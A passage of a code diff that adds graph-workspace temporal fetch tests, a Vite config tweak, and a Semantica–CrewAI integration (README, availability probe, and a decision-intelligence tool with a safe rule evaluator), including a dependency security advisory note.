"single-edge path must not alter a valid relationship type");
|
||||
});
|
||||
|
||||
@@ -0,0 +1,114 @@
|
||||
import test from "node:test";
|
||||
import assert from "node:assert/strict";
|
||||
|
||||
import {
|
||||
shouldFetchTemporalBounds,
|
||||
shouldFetchTemporalSnapshot,
|
||||
} from "../src/workspaces/GraphWorkspace/temporalLifecyclePredicates.ts";
|
||||
import type { GraphLoadSummary } from "../src/workspaces/GraphWorkspace/types.ts";
|
||||
|
||||
const sampleSummary: GraphLoadSummary = {
|
||||
nodeCount: 42,
|
||||
edgeCount: 78,
|
||||
loadTimeMs: 120,
|
||||
hasCoordinates: true,
|
||||
layoutSource: "provided",
|
||||
layoutReady: true,
|
||||
};
|
||||
|
||||
const emptyGraphSummary: GraphLoadSummary = {
|
||||
nodeCount: 0,
|
||||
edgeCount: 0,
|
||||
loadTimeMs: 15,
|
||||
hasCoordinates: false,
|
||||
layoutSource: "runtime",
|
||||
layoutReady: false,
|
||||
};
|
||||
|
||||
// ── shouldFetchTemporalBounds ────────────────────────────────────────────────
|
||||
|
||||
test("temporal bounds: false when summary is undefined (initial mount or failed load)", () => {
|
||||
assert.equal(
|
||||
shouldFetchTemporalBounds(undefined),
|
||||
false,
|
||||
"bounds request must not run before graph load succeeds",
|
||||
);
|
||||
});
|
||||
|
||||
test("temporal bounds: true when non-empty summary is present", () => {
|
||||
assert.equal(
|
||||
shouldFetchTemporalBounds(sampleSummary),
|
||||
true,
|
||||
"bounds request should run when successful graph summary exists",
|
||||
);
|
||||
});
|
||||
|
||||
test("temporal bounds: true when successful summary has nodeCount of 0", () => {
|
||||
assert.equal(
|
||||
shouldFetchTemporalBounds(emptyGraphSummary),
|
||||
true,
|
||||
"an empty graph is still a successful load and must allow bounds fetching",
|
||||
);
|
||||
});
|
||||
|
||||
// ── shouldFetchTemporalSnapshot ──────────────────────────────────────────────
|
||||
|
||||
test("temporal snapshot: false when summary is undefined even if scrubber time is set and isLoading is false", () => {
|
||||
assert.equal(
|
||||
shouldFetchTemporalSnapshot({
|
||||
debouncedTime: new Date("2024-01-01T00:00:00Z"),
|
||||
isLoading: false,
|
||||
summary: undefined,
|
||||
}),
|
||||
false,
|
||||
"snapshot request must not run when graph load failed",
|
||||
);
|
||||
});
|
||||
|
||||
test("temporal snapshot: false when graph is currently loading", () => {
|
||||
assert.equal(
|
||||
shouldFetchTemporalSnapshot({
|
||||
debouncedTime: new Date("2024-01-01T00:00:00Z"),
|
||||
isLoading: true,
|
||||
summary: sampleSummary,
|
||||
}),
|
||||
false,
|
||||
"snapshot request must not run while graph is loading",
|
||||
);
|
||||
});
|
||||
|
||||
test("temporal snapshot: false when debouncedTime is null", () => {
|
||||
assert.equal(
|
||||
shouldFetchTemporalSnapshot({
|
||||
debouncedTime: null,
|
||||
isLoading: false,
|
||||
summary: sampleSummary,
|
||||
}),
|
||||
false,
|
||||
"snapshot request must not run without a scrubber timestamp",
|
||||
);
|
||||
});
|
||||
|
||||
test("temporal snapshot: true when summary exists, isLoading is false, and time is set", () => {
|
||||
assert.equal(
|
||||
shouldFetchTemporalSnapshot({
|
||||
debouncedTime: new Date("2024-01-01T00:00:00Z"),
|
||||
isLoading: false,
|
||||
summary: sampleSummary,
|
||||
}),
|
||||
true,
|
||||
"snapshot request should run after graph load succeeds and time is set",
|
||||
);
|
||||
});
|
||||
|
||||
test("temporal snapshot: true when successful summary has 0 nodes, isLoading is false, and time is set", () => {
|
||||
assert.equal(
|
||||
shouldFetchTemporalSnapshot({
|
||||
debouncedTime: new Date("2024-01-01T00:00:00Z"),
|
||||
isLoading: false,
|
||||
summary: emptyGraphSummary,
|
||||
}),
|
||||
true,
|
||||
"empty successful graph must allow snapshot requests once ready",
|
||||
);
|
||||
});
|
||||
@@ -57,6 +57,13 @@ export default defineConfig({
|
||||
},
|
||||
},
|
||||
},
|
||||
optimizeDeps: {
|
||||
// Keep dependency pre-bundling aligned with the production build target.
|
||||
// esbuild >=0.28 no longer lowers destructuring for Vite's default target.
|
||||
esbuildOptions: {
|
||||
target: 'esnext',
|
||||
},
|
||||
},
|
||||
server: {
|
||||
proxy: {
|
||||
'/api': {
|
||||
|
||||
@@ -0,0 +1,108 @@
|
||||
# Semantica × CrewAI
|
||||
|
||||
First-class integration between Semantica and [CrewAI](https://github.com/crewAIInc/crewAI) — give your crews a shared semantic knowledge graph, decision intelligence, and graph-based retrieval.
|
||||
|
||||
## Installation
|
||||
|
||||
```bash
|
||||
pip install semantica[crewai]
|
||||
```
|
||||
|
||||
Requires `crewai >= 0.80.0`. If `crewai` is not installed, the integration still imports (classes degrade gracefully), but you can't pass the objects to a `Crew`.
|
||||
|
||||
> **⚠️ Security note:** crewai hard-requires `chromadb~=1.1.0`, which is currently affected by the unpatched pre-authentication code-injection advisory **CVE-2026-45829** (no fixed release — even the latest chromadb 1.5.9 is affected). Installing `semantica[crewai]` pulls that dependency into your environment. The `crewai` extra is intentionally **not** part of `semantica[all]` for this reason — only install it where you actually use CrewAI, and follow chromadb for a patched release.
|
||||
|
||||
## 1. SemanticaKGTool
|
||||
|
||||
A `BaseTool` that lets agents **build and query** a shared `ContextGraph` mid-reasoning:
|
||||
|
||||
- `extract_entities` — extract named entities from `text`
|
||||
- `extract_relations` — extract relationships from `text`
|
||||
- `add_to_graph` — extract entities/relations from `text` and add them to the shared graph
|
||||
- `query_graph` — keyword-search the graph using `query`
|
||||
- `find_related` — find concepts related to `entity` within `hops`
|
||||
|
||||
```python
|
||||
from crewai import Agent, Crew, Task
|
||||
from semantica.context import ContextGraph
|
||||
from integrations.crewai import SemanticaKGTool
|
||||
|
||||
graph = ContextGraph()
|
||||
|
||||
analyst = Agent(
|
||||
role="Knowledge Analyst",
|
||||
goal="Build and explore a knowledge graph from documents",
|
||||
backstory="You map entities and relationships into a shared graph.",
|
||||
tools=[SemanticaKGTool(graph=graph)],
|
||||
)
|
||||
|
||||
crew = Crew(
|
||||
agents=[analyst],
|
||||
tasks=[Task(description="Extract and link key entities from the brief", expected_output="JSON", agent=analyst)],
|
||||
)
|
||||
result = crew.kickoff()
|
||||
```
|
||||
|
||||
All actions return JSON, so agents get parseable results.
|
||||
|
||||
## 2. SemanticaDecisionTool
|
||||
|
||||
A `BaseTool` that wraps `AgentContext` and exposes decision intelligence:
|
||||
|
||||
- `record_decision` — record a decision with reasoning and outcome
|
||||
- `find_precedents` — retrieve past decisions similar to a scenario
|
||||
- `trace_causal_chain` — trace the causal chain from a decision
|
||||
- `analyze_impact` — assess downstream influence using graph centrality
|
||||
- `check_policy` — validate a proposed decision against rule-based policies
|
||||
|
||||
```python
|
||||
from crewai import Agent, Crew, Task
|
||||
from integrations.crewai import SemanticaDecisionTool
|
||||
|
||||
planner = Agent(
|
||||
role="Decision Planner",
|
||||
goal="Make grounded, precedented decisions",
|
||||
backstory="You record decisions and validate them against policy.",
|
||||
tools=[SemanticaDecisionTool()],
|
||||
)
|
||||
|
||||
crew = Crew(agents=[planner], tasks=[...])
|
||||
```
|
||||
|
||||
When no `AgentContext` is passed, one is created in-memory with `decision_tracking=True`.
|
||||
|
||||
## 3. SemanticaKnowledgeSource
|
||||
|
||||
A `BaseKnowledgeSource` that serializes the current state of a `ContextGraph` (nodes, edges, metadata) into CrewAI's knowledge storage, giving **every agent in the crew** retrieval access to the graph:
|
||||
|
||||
```python
|
||||
from crewai import Agent, Crew, Task
|
||||
from semantica.context import ContextGraph
|
||||
from integrations.crewai import SemanticaKnowledgeSource
|
||||
|
||||
graph = ContextGraph()
|
||||
graph.add_node(node_id="privacy", node_type="policy", content="...")
|
||||
|
||||
researcher = Agent(
|
||||
role="Policy Researcher",
|
||||
goal="Answer questions from the knowledge base",
|
||||
backstory="You retrieve from graph knowledge to answer accurately.",
|
||||
)
|
||||
|
||||
crew = Crew(
|
||||
agents=[researcher],
|
||||
tasks=[...],
|
||||
knowledge_sources=[SemanticaKnowledgeSource(graph=graph)],
|
||||
)
|
||||
```
|
||||
|
||||
> **Embedder required:** storing chunks goes through CrewAI's knowledge pipeline, which needs an embedder. Set `Crew(embedder=...)` (or provide CrewAI's default credentials, e.g. `OPENAI_API_KEY`). Without a working embedder, storage fails, an ERROR is logged, and agents retrieve nothing — the crew still runs with empty knowledge queries.
|
||||
|
||||
### Compatibility note
|
||||
|
||||
CrewAI's `BaseKnowledgeSource` contract changed between `0.80.x` and current releases (`load_content()` → `validate_content()`/`aadd()`). `SemanticaKnowledgeSource` implements both the legacy and current methods, so it works across `crewai>=0.80.0`.
|
||||
|
||||
### Sharing state & checkpoints
|
||||
|
||||
- Each tool/source holds whatever `graph`/`context` you pass it. When omitted, a fresh in-memory object is created and a warning is logged — instances that auto-create their own state do **not** share knowledge, so pass the same object to every agent that must share.
|
||||
- Live state (`ContextGraph`, `AgentContext`, extractors) is excluded from CrewAI's JSON serialization. After restoring from a checkpoint, re-attach the live graph/context to the restored objects.
|
||||
@@ -0,0 +1,44 @@
|
||||
"""
|
||||
Semantica × CrewAI Integration
|
||||
==============================
|
||||
|
||||
First-class integration between the Semantica semantic intelligence stack and
|
||||
the `CrewAI <https://github.com/crewAIInc/crewAI>`_ agentic framework.
|
||||
|
||||
Public surface
|
||||
--------------
|
||||
SemanticaKGTool — CrewAI ``BaseTool`` exposing KG construction/query actions
|
||||
SemanticaDecisionTool — CrewAI ``BaseTool`` exposing decision-intelligence actions
|
||||
SemanticaKnowledgeSource— CrewAI ``BaseKnowledgeSource`` giving crews graph knowledge
|
||||
|
||||
Quick start
|
||||
-----------
|
||||
pip install semantica[crewai]
|
||||
|
||||
>>> from integrations.crewai import (
|
||||
... SemanticaKGTool,
|
||||
... SemanticaDecisionTool,
|
||||
... SemanticaKnowledgeSource,
|
||||
... )
|
||||
|
||||
Compatibility
|
||||
-------------
|
||||
Requires ``crewai >= 0.80.0``. All three classes degrade gracefully when
|
||||
``crewai`` is not installed — they are still importable and carry the full
|
||||
Semantica API, but cannot be passed to ``Crew`` / ``Agent`` constructors.
|
||||
"""
|
||||
|
||||
from ._availability import CREWAI_AVAILABLE, CREWAI_IMPORT_ERROR
|
||||
from .decision_tool import SemanticaDecisionTool
|
||||
from .kg_tool import SemanticaKGTool
|
||||
from .knowledge_source import SemanticaKnowledgeSource
|
||||
|
||||
__all__ = [
|
||||
"SemanticaKGTool",
|
||||
"SemanticaDecisionTool",
|
||||
"SemanticaKnowledgeSource",
|
||||
"CREWAI_AVAILABLE",
|
||||
"CREWAI_IMPORT_ERROR",
|
||||
]
|
||||
|
||||
__version__ = "0.1.0"
|
||||
@@ -0,0 +1,24 @@
|
||||
"""
|
||||
Shared CrewAI availability probe.
|
||||
|
||||
Every integration module needs to know whether the real ``crewai`` package is
|
||||
installed. Probing once here (instead of once per module) guarantees the
|
||||
exported ``CREWAI_AVAILABLE`` flag means the *whole* integration is ready — a
|
||||
caller gating on it will never see tools using CrewAI while a knowledge source
|
||||
silently degrades (or vice versa).
|
||||
"""
|
||||
|
||||
from typing import Optional
|
||||
|
||||
CREWAI_AVAILABLE = False
|
||||
CREWAI_IMPORT_ERROR: Optional[str] = None
|
||||
|
||||
try:
|
||||
from crewai.knowledge.source.base_knowledge_source import ( # noqa: F401
|
||||
BaseKnowledgeSource,
|
||||
)
|
||||
from crewai.tools import BaseTool # noqa: F401
|
||||
|
||||
CREWAI_AVAILABLE = True
|
||||
except ImportError as exc:
|
||||
CREWAI_IMPORT_ERROR = str(exc)
|
||||
@@ -0,0 +1,555 @@
|
||||
"""
|
||||
SemanticaDecisionTool — a CrewAI ``BaseTool`` exposing Semantica's decision
|
||||
intelligence (``AgentContext``) to agents.
|
||||
|
||||
Lets agents record decisions with reasoning, retrieve past precedents, trace
|
||||
causal chains, analyse downstream impact, and validate proposed decisions
|
||||
against policy rules.
|
||||
|
||||
Install
|
||||
-------
|
||||
pip install semantica[crewai]
|
||||
|
||||
Example
|
||||
-------
|
||||
>>> from integrations.crewai import SemanticaDecisionTool
|
||||
>>> from crewai import Agent, Crew, Task
|
||||
>>> tool = SemanticaDecisionTool()
|
||||
>>> crew = Crew(
|
||||
... agents=[Agent(role="...", goal="...", backstory="...", tools=[tool])],
|
||||
... tasks=[...],
|
||||
... )
|
||||
|
||||
Tools exposed
|
||||
-------------
|
||||
record_decision — Record a decision with reasoning and outcome
|
||||
find_precedents — Search past decisions similar to a scenario
|
||||
trace_causal_chain— Trace the causal chain from a decision node
|
||||
analyze_impact — Assess downstream influence of a decision
|
||||
check_policy — Validate a proposed decision against policy rules
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import re
|
||||
from typing import Any, Dict, List, Literal, Optional, Type
|
||||
|
||||
from pydantic import BaseModel, Field
|
||||
|
||||
from semantica.utils.logging import get_logger
|
||||
|
||||
from ._availability import CREWAI_AVAILABLE
|
||||
|
||||
logger = get_logger(__name__)
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Optional: CrewAI BaseTool base class
|
||||
# ---------------------------------------------------------------------------
|
||||
_BaseTool: Any = object
|
||||
|
||||
if CREWAI_AVAILABLE:
|
||||
from crewai.tools import BaseTool as _BaseTool # type: ignore
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Input schema
|
||||
# ---------------------------------------------------------------------------
|
||||
class SemanticaDecisionToolInput(BaseModel):
|
||||
"""
|
||||
Input schema for ``SemanticaDecisionTool``.
|
||||
|
||||
Exactly one action is dispatched per call; the remaining fields are only
|
||||
used by the actions that need them.
|
||||
"""
|
||||
|
||||
action: Literal[
|
||||
"record_decision",
|
||||
"find_precedents",
|
||||
"trace_causal_chain",
|
||||
"analyze_impact",
|
||||
"check_policy",
|
||||
] = Field(
|
||||
...,
|
||||
description=(
|
||||
"Which decision-intelligence operation to run. One of: "
|
||||
"'record_decision', 'find_precedents', 'trace_causal_chain', "
|
||||
"'analyze_impact', 'check_policy'."
|
||||
),
|
||||
)
|
||||
category: Optional[str] = Field(
|
||||
None,
|
||||
description="Domain category, e.g. 'loan_approval'. Used by 'record_decision'.",
|
||||
)
|
||||
scenario: Optional[str] = Field(
|
||||
None,
|
||||
description=(
|
||||
"Short description of the situation. Used by 'record_decision' and "
|
||||
"'find_precedents'."
|
||||
),
|
||||
)
|
||||
reasoning: Optional[str] = Field(
|
||||
None, description="Why this outcome was chosen. Used by 'record_decision'."
|
||||
)
|
||||
outcome: Optional[str] = Field(
|
||||
None, description="The decision result. Used by 'record_decision'."
|
||||
)
|
||||
confidence: float = Field(
|
||||
0.8,
|
||||
ge=0.0,
|
||||
le=1.0,
|
||||
description="Confidence score in [0, 1]. Used by 'record_decision'.",
|
||||
)
|
||||
entities: Optional[str] = Field(
|
||||
None,
|
||||
description="Comma-separated entity names. Used by 'record_decision'.",
|
||||
)
|
||||
decision_id: Optional[str] = Field(
|
||||
None,
|
||||
description=(
|
||||
"Identifier of a decision. Used by 'trace_causal_chain' and "
|
||||
"'analyze_impact'."
|
||||
),
|
||||
)
|
||||
depth: int = Field(
|
||||
3,
|
||||
ge=1,
|
||||
le=20,
|
||||
description="Maximum chain depth. Used by 'trace_causal_chain'.",
|
||||
)
|
||||
decision_data: Optional[str] = Field(
|
||||
None,
|
||||
description=(
|
||||
"JSON object describing a proposed decision. Used by 'check_policy'."
|
||||
),
|
||||
)
|
||||
policy_rules: Optional[str] = Field(
|
||||
None,
|
||||
description=(
|
||||
"JSON list of rule strings like 'confidence >= 0.7'. Used by "
|
||||
"'check_policy'."
|
||||
),
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# SemanticaDecisionTool
|
||||
# ---------------------------------------------------------------------------
|
||||
class SemanticaDecisionTool(_BaseTool): # type: ignore[misc]
|
||||
"""
|
||||
CrewAI tool that surfaces Semantica's decision intelligence as agent actions.
|
||||
|
||||
Parameters
|
||||
----------
|
||||
context:
|
||||
A ``semantica.context.AgentContext`` (or compatible object exposing
|
||||
``record_decision``, ``find_precedents_advanced``,
|
||||
``analyze_decision_influence``). A fresh in-memory context is created
|
||||
when ``None``.
|
||||
max_precedents:
|
||||
Default number of precedents returned by ``find_precedents``.
|
||||
causal_depth:
|
||||
Default chain depth used by ``trace_causal_chain``.
|
||||
"""
|
||||
|
||||
name: str = "semantica_decision"
|
||||
description: str = (
|
||||
"Decision intelligence toolkit. Actions: 'record_decision' (record a "
|
||||
"decision with category, scenario, reasoning, outcome, confidence), "
|
||||
"'find_precedents' (search past decisions similar to 'scenario'), "
|
||||
"'trace_causal_chain' (trace the causal chain from 'decision_id'), "
|
||||
"'analyze_impact' (assess downstream influence of 'decision_id'), "
|
||||
"'check_policy' (validate 'decision_data' JSON against 'policy_rules' "
|
||||
"rules like 'confidence >= 0.7'). Returns JSON."
|
||||
)
|
||||
args_schema: Type[BaseModel] = SemanticaDecisionToolInput
|
||||
context: Any = Field(default=None, exclude=True)
|
||||
max_precedents: int = 5
|
||||
causal_depth: int = 3
|
||||
had_live_state: bool = False
|
||||
reconstructed_state: bool = Field(default=False, exclude=True)
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
context: Any = None,
|
||||
max_precedents: int = 5,
|
||||
causal_depth: int = 3,
|
||||
**kwargs: Any,
|
||||
) -> None:
|
||||
if CREWAI_AVAILABLE:
|
||||
super().__init__(
|
||||
context=context,
|
||||
max_precedents=max_precedents,
|
||||
causal_depth=causal_depth,
|
||||
**kwargs,
|
||||
)
|
||||
else:
|
||||
super().__init__()
|
||||
self.context = context
|
||||
self.max_precedents = max_precedents
|
||||
self.causal_depth = causal_depth
|
||||
# Degraded mode is a plain class — no model_post_init lifecycle.
|
||||
self._ensure_defaults()
|
||||
|
||||
logger.info("SemanticaDecisionTool initialised (crewai=%s)", CREWAI_AVAILABLE)
|
||||
|
||||
def model_post_init(self, __context: Any) -> None:
|
||||
"""Re-create default state after validation/deserialisation.
|
||||
|
||||
``context`` is excluded from JSON serialisation (CrewAI checkpoints
|
||||
serialise every tool via ``model_dump(mode="json")``), so a tool
|
||||
restored from a checkpoint has ``None`` state until this runs.
|
||||
"""
|
||||
self._ensure_defaults()
|
||||
super().model_post_init(__context)
|
||||
|
||||
def _ensure_defaults(self) -> None:
|
||||
"""Lazy-import and build a real AgentContext when none is wired."""
|
||||
if self.context is None:
|
||||
from semantica.context import AgentContext, ContextGraph
|
||||
from semantica.vector_store import VectorStore
|
||||
|
||||
self.context = AgentContext(
|
||||
vector_store=VectorStore(backend="faiss"),
|
||||
decision_tracking=True,
|
||||
knowledge_graph=ContextGraph(),
|
||||
)
|
||||
if self.had_live_state:
|
||||
self.reconstructed_state = True
|
||||
logger.warning(
|
||||
"SemanticaDecisionTool: the live decision context was lost "
|
||||
"during serialization/checkpoint restore — an EMPTY "
|
||||
"context was reconstructed; re-attach the original context "
|
||||
"before continuing"
|
||||
)
|
||||
else:
|
||||
logger.warning(
|
||||
"SemanticaDecisionTool created a fresh in-memory "
|
||||
"AgentContext — agents sharing decision state must be "
|
||||
"wired to the same context"
|
||||
)
|
||||
self.had_live_state = True
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# CrewAI entry points
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _run(
|
||||
self,
|
||||
action: str,
|
||||
category: Optional[str] = None,
|
||||
scenario: Optional[str] = None,
|
||||
reasoning: Optional[str] = None,
|
||||
outcome: Optional[str] = None,
|
||||
confidence: float = 0.8,
|
||||
entities: Optional[str] = None,
|
||||
decision_id: Optional[str] = None,
|
||||
depth: int = 3,
|
||||
decision_data: Optional[str] = None,
|
||||
policy_rules: Optional[str] = None,
|
||||
**kwargs: Any,
|
||||
) -> str:
|
||||
valid = {
|
||||
"record_decision",
|
||||
"find_precedents",
|
||||
"trace_causal_chain",
|
||||
"analyze_impact",
|
||||
"check_policy",
|
||||
}
|
||||
if action not in valid:
|
||||
return json.dumps(
|
||||
{
|
||||
"error": f"Unknown action '{action}'. Valid actions: "
|
||||
+ ", ".join(sorted(valid))
|
||||
}
|
||||
)
|
||||
|
||||
if action == "record_decision":
|
||||
return self._record_decision(
|
||||
category=category or "general",
|
||||
scenario=scenario or "decision recorded",
|
||||
reasoning=reasoning or "agent decision",
|
||||
outcome=outcome or "recorded",
|
||||
confidence=confidence,
|
||||
entities=entities,
|
||||
)
|
||||
if action == "find_precedents":
|
||||
return self._find_precedents(scenario=scenario or "", category=category)
|
||||
if action == "trace_causal_chain":
|
||||
return self._trace_causal_chain(decision_id or "", depth=depth)
|
||||
if action == "analyze_impact":
|
||||
return self._analyze_impact(decision_id or "")
|
||||
return self._check_policy(decision_data or "", policy_rules)
|
||||
|
||||
async def _arun(self, action: str, **kwargs: Any) -> str:
|
||||
"""Async variant of ``_run`` for CrewAI's async tool path."""
|
||||
return self._run(action=action, **kwargs)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Actions
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _record_decision(
|
||||
self,
|
||||
category: str,
|
||||
scenario: str,
|
||||
reasoning: str,
|
||||
outcome: str,
|
||||
confidence: float = 0.8,
|
||||
entities: Optional[str] = None,
|
||||
) -> str:
|
||||
entity_list: Optional[List[str]] = None
|
||||
if entities:
|
||||
entity_list = [e.strip() for e in entities.split(",") if e.strip()]
|
||||
|
||||
try:
|
||||
decision_id = self.context.record_decision(
|
||||
category=category,
|
||||
scenario=scenario,
|
||||
reasoning=reasoning,
|
||||
outcome=outcome,
|
||||
confidence=float(confidence),
|
||||
entities=entity_list,
|
||||
)
|
||||
result = {"decision_id": str(decision_id), "status": "recorded"}
|
||||
logger.info("record_decision → %s", decision_id)
|
||||
except Exception as exc:
|
||||
result = {"error": str(exc), "status": "failed"}
|
||||
logger.warning("record_decision failed: %s", exc)
|
||||
|
||||
return json.dumps(result)
|
||||
|
||||
def _find_precedents(
|
||||
self,
|
||||
scenario: str,
|
||||
category: Optional[str] = None,
|
||||
limit: Optional[int] = None,
|
||||
) -> str:
|
||||
k = limit if limit is not None else self.max_precedents
|
||||
try:
|
||||
precedents = self.context.find_precedents_advanced(
|
||||
scenario=scenario,
|
||||
category=category,
|
||||
limit=k,
|
||||
)
|
||||
out: List[Dict[str, Any]] = []
|
||||
for p in (precedents or [])[:k]:
|
||||
if isinstance(p, dict):
|
||||
out.append(p)
|
||||
else:
|
||||
out.append(
|
||||
{
|
||||
"scenario": getattr(p, "scenario", str(p)),
|
||||
"outcome": getattr(p, "outcome", ""),
|
||||
"confidence": getattr(p, "confidence", 0.0),
|
||||
"category": getattr(p, "category", ""),
|
||||
}
|
||||
)
|
||||
logger.info("find_precedents('%s') → %d results", scenario, len(out))
|
||||
return json.dumps({"precedents": out, "count": len(out)})
|
||||
except Exception as exc:
|
||||
logger.warning("find_precedents failed: %s", exc)
|
||||
return json.dumps({"precedents": [], "count": 0, "error": str(exc)})
|
||||
|
||||
def _trace_causal_chain(self, decision_id: str, depth: Optional[int] = None) -> str:
|
||||
if not decision_id:
|
||||
return json.dumps(
|
||||
{
|
||||
"error": "decision_id is required for trace_causal_chain",
|
||||
"causal_chain": [],
|
||||
"decision_id": "",
|
||||
}
|
||||
)
|
||||
max_depth = depth or self.causal_depth
|
||||
try:
|
||||
graph = getattr(self.context, "knowledge_graph", None)
|
||||
if graph is None:
|
||||
return json.dumps(
|
||||
{
|
||||
"error": (
|
||||
"causal tracing is not available on this knowledge "
|
||||
"graph (the decision context has no knowledge_graph)"
|
||||
),
|
||||
"causal_chain": [],
|
||||
"decision_id": decision_id,
|
||||
}
|
||||
)
|
||||
trace = getattr(graph, "trace_decision_causality", None)
|
||||
if trace is None:
|
||||
return json.dumps(
|
||||
{
|
||||
"error": (
|
||||
"causal tracing is not available on this knowledge graph "
|
||||
"(graph.trace_decision_causality is not implemented)"
|
||||
),
|
||||
"causal_chain": [],
|
||||
"decision_id": decision_id,
|
||||
}
|
||||
)
|
||||
chain = trace(decision_id, max_depth=max_depth)
|
||||
return json.dumps({"causal_chain": chain, "decision_id": decision_id})
|
||||
except Exception as exc:
|
||||
logger.warning("trace_causal_chain failed: %s", exc)
|
||||
return json.dumps(
|
||||
{"error": str(exc), "causal_chain": [], "decision_id": decision_id}
|
||||
)
|
||||
|
||||
def _analyze_impact(self, decision_id: str) -> str:
|
||||
try:
|
||||
influence = self.context.analyze_decision_influence(decision_id)
|
||||
if not isinstance(influence, dict):
|
||||
influence = {"influence": str(influence)}
|
||||
influence["decision_id"] = decision_id
|
||||
return json.dumps(influence)
|
||||
except Exception as exc:
|
||||
logger.warning("analyze_impact failed: %s", exc)
|
||||
return json.dumps({"error": str(exc), "decision_id": decision_id})
|
||||
|
||||
def _check_policy(
|
||||
self,
|
||||
decision_data: str,
|
||||
policy_rules: Optional[str] = None,
|
||||
) -> str:
|
||||
try:
|
||||
data = (
|
||||
json.loads(decision_data)
|
||||
if isinstance(decision_data, str)
|
||||
else decision_data
|
||||
)
|
||||
except json.JSONDecodeError as exc:
|
||||
return json.dumps(
|
||||
{
|
||||
"compliant": False,
|
||||
"violations": [f"Invalid decision_data JSON: {exc}"],
|
||||
"warnings": [],
|
||||
}
|
||||
)
|
||||
|
||||
if not isinstance(data, dict):
|
||||
return json.dumps(
|
||||
{
|
||||
"compliant": False,
|
||||
"violations": [
|
||||
f"decision_data must decode to a JSON object, "
|
||||
f"got {type(data).__name__}: {data!r}"
|
||||
],
|
||||
"warnings": [],
|
||||
}
|
||||
)
|
||||
|
||||
violations: List[str] = []
|
||||
warnings: List[str] = []
|
||||
|
||||
rules: List[str] = []
|
||||
if policy_rules:
|
||||
try:
|
||||
parsed_rules = json.loads(policy_rules)
|
||||
except json.JSONDecodeError:
|
||||
rules = [r.strip() for r in policy_rules.split(",") if r.strip()]
|
||||
else:
|
||||
if isinstance(parsed_rules, str):
|
||||
rules = [parsed_rules]
|
||||
elif isinstance(parsed_rules, list):
|
||||
for item in parsed_rules:
|
||||
if isinstance(item, str):
|
||||
rules.append(item)
|
||||
else:
|
||||
warnings.append(
|
||||
f"Ignoring non-string policy rule entry: {item!r}"
|
||||
)
|
||||
else:
|
||||
warnings.append(
|
||||
f"policy_rules must decode to a JSON list of rule strings, "
|
||||
f"got {type(parsed_rules).__name__}: {parsed_rules!r}"
|
||||
)
|
||||
|
||||
for rule in rules:
|
||||
try:
|
||||
if not self._eval_rule(rule, data):
|
||||
violations.append(f"Rule violated: {rule}")
|
||||
except Exception as exc:
|
||||
warnings.append(f"Could not evaluate rule '{rule}': {exc}")
|
||||
|
||||
compliant = len(violations) == 0
|
||||
logger.debug(
|
||||
"check_policy: compliant=%s, violations=%d", compliant, len(violations)
|
||||
)
|
||||
return json.dumps(
|
||||
{
|
||||
"compliant": compliant,
|
||||
"violations": violations,
|
||||
"warnings": warnings,
|
||||
}
|
||||
)
|
||||
|
||||
def _eval_rule(self, rule: str, data: Dict[str, Any]) -> bool:
|
||||
"""Evaluate a simple comparison rule (``field op value``) against data.
|
||||
|
||||
This is a small standalone evaluator for the tool's ``check_policy``
|
||||
action — it is intentionally independent of Semantica's policy engine
|
||||
so agents get a bounded, side-effect-free rule check. Rules are
|
||||
``<field> <op> <value>`` comparisons only; there is no expression
|
||||
evaluation (no ``eval``), so untrusted rule strings are safe to pass.
|
||||
|
||||
Values are coerced type-aware: ``true``/``false`` (and ``1``/``0``)
|
||||
become booleans, numeric literals become numbers, and string values
|
||||
that parse as numbers are compared numerically, so ``score == 0.9``
|
||||
holds for ``score: "0.90"`` and ``enabled == false`` holds for
|
||||
``enabled: false``. Field names may contain hyphens, dots and spaces
|
||||
(e.g. ``risk-score >= 0.9``); they are matched against ``data`` keys
|
||||
as-is.
|
||||
"""
|
||||
m = re.match(r"(.+?)\s*(>=|<=|!=|==|>|<)\s*(.+)$", rule.strip())
|
||||
if not m:
|
||||
raise ValueError(f"unrecognised rule format: {rule!r}")
|
||||
field, op, val_str = m.group(1), m.group(2), m.group(3).strip().strip("\"'")
|
||||
if field not in data:
|
||||
raise ValueError(f"rule references undefined field {field!r}")
|
||||
actual = data[field]
|
||||
if actual is None:
|
||||
raise ValueError(f"field {field!r} is null — cannot evaluate rule")
|
||||
val = self._coerce_value(val_str)
|
||||
if isinstance(actual, str):
|
||||
actual = self._coerce_value(actual)
|
||||
ops = {
|
||||
">=": lambda a, b: a >= b,
|
||||
"<=": lambda a, b: a <= b,
|
||||
"!=": lambda a, b: a != b,
|
||||
"==": lambda a, b: a == b,
|
||||
">": lambda a, b: a > b,
|
||||
"<": lambda a, b: a < b,
|
||||
}
|
||||
return ops[op](actual, val)
|
||||
|
||||
@staticmethod
|
||||
def _coerce_value(value: str) -> Any:
|
||||
"""Parse a rule literal into its most specific Python type."""
|
||||
text = value.strip()
|
||||
lowered = text.lower()
|
||||
if lowered in ("true", "1"):
|
||||
return True
|
||||
if lowered in ("false", "0"):
|
||||
return False
|
||||
try:
|
||||
return int(text)
|
||||
except ValueError:
|
||||
pass
|
||||
try:
|
||||
return float(text)
|
||||
except ValueError:
|
||||
pass
|
||||
return text
|
||||
|
||||
# When crewai is absent there is no BaseTool to provide the public
|
||||
# ``run``/``arun`` entry points, so expose them directly. With crewai
|
||||
# installed these are left untouched so crewai's own implementations
|
||||
# (usage tracking, ``result_as_answer``) win.
|
||||
if not CREWAI_AVAILABLE:
|
||||
|
||||
def run(self, *args: Any, **kwargs: Any) -> str:
|
||||
"""Run the tool synchronously (degraded mode, no crewai)."""
|
||||
return self._run(*args, **kwargs)
|
||||
|
||||
async def arun(self, *args: Any, **kwargs: Any) -> str:
|
||||
"""Run the tool asynchronously (degraded mode, no crewai)."""
|
||||
return self._run(*args, **kwargs)
|
||||
@@ -0,0 +1,573 @@
|
||||
"""
|
||||
SemanticaKGTool — a CrewAI ``BaseTool`` exposing Semantica's knowledge-graph
|
||||
